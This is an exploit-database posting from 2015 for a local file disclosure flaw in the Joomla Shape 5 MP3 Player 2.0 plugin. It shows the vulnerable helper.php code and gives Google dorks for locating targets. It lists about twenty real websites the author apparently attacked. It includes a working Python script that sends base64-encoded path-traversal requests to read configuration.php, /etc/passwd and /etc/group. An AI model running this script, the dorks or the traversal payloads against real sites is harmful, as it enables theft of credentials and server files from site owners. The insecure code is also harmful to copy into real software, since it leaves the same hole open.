Home / os / winmobile

Joomla Shape 5 MP3 Player 2.0 Local File Disclosure

Posted on 15 December 2015

.__ _____ _______
 | |__ / | |___ __ _ \_______ ____
 | |  / | | / / /_ \_ __ \_/ __ 
 | Y / ^ /> < \_/  | / ___/
 |___| /\____ |/__/\_ \_____ /__| \___ >
 / |__| / / /
 _____________________________
 / _____/\_ _____/\_ ___ 
 \_____  | __)_ /  /
 /  | \ \____
 /_______ //_______ / \______ /
 / / /
Joomla <= (Shape 5 MP3 Player 2.0) Local File Disclosure Exploit
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] Skype : knockoutr@msn.com
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com
[~] Greetz : b3mb4m, ZoRLu, KedAns-Dz ( milw00rm.com )
===================================================================
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Joomla
|~Plugin : Shape 5 MP3 Player 2.0
|~Affected Version : 2.0
|~Software : http://extensions.joomla.org/extension/shape-5-mp3-player
|~RISK : High
|~Google Dork : inurl:"php?fileUrl=" site:ru
|~Google Dork : inurl:plugins/content/s5_media_player
===================================================================
======================Info=========================================
helper.php unconsciously encoded.
This is a very simple security measures, It was exposed to attack.
if base64 encrypting the file names
'fileurl' function is used, and local files will be easily exposed.
============ Error line's in helper.php ===========================
<?php
$path = base64_decode($_REQUEST['fileurl']);
$base = basename($path);
$path1 = str_replace(' ','%20',$path);

header('Content-Description: File Transfer');
header('Content-Type:application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header("Content-disposition: attachment; filename="".basename($path).""");
header('Content-Length: ' . filesize($path));
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
readfile($path1);
exit;
?>
======================================================================
======================== Tested on Demos ============================
www.kraskinotv.ru
www.alexandra-pavlyuk.ru
www.kovspas.ru
www.asetkz.ru
www.cciheredia.cr
www.helicopterspray.com
www.kpu-karawang.go.id
www.practicalbioethics.org
www.iccfoundation.us
www.mixticius.net
www.stbarnabasdulwich.org
www.ahavathachim.com
www.dcbaptist.org
www.stjohnmansfield.org
www.ilyda.com
www.mountainviewchapel.com
www.biamd.org
www.lavingtonunited.org
www.cypressbible.org
www.brianmcgilloway.com
www.toneside.com
..
etc
..
=======================================================================
================ usage: python h4.py www.site.com ====================

import base64
import sys
import urllib

def exploit():
 while True:
 print """
[1] = configuration.php
[2] = Try Read /etc/passwd
[3] = Try Read /etc/group
 """
 command = raw_input("h4 Console# ")
 if command == "1":
 command = base64.b64encode("../../../configuration.php")
 elif command == "2":
 command = base64.b64encode("../../../../../../../../../etc/passwd")
 elif command == "3":
 command = base64.b64encode("../../../../../../../../../etc/group")
 else:
 command = base64.b64encode(command)

 url = "http://%s/plugins/content/s5_media_player/helper.php?fileurl=%s" % (sys.argv[1],command)

 try:
 test = urllib.urlopen(url)
 if len(test.read()) <= 0:
 print "Exploit failed .."
 else:
 urllib.urlretrieve(url, command)
 #wget.download(url)
 print "Exploit success ! "
 except Exception as e:
 print "Unexpected error : %s " % e

if __name__ == '__main__':
 if len(sys.argv) > 2:
 print "Error usage : python exploit.py website.com"
 else:
 exploit()

 

TOP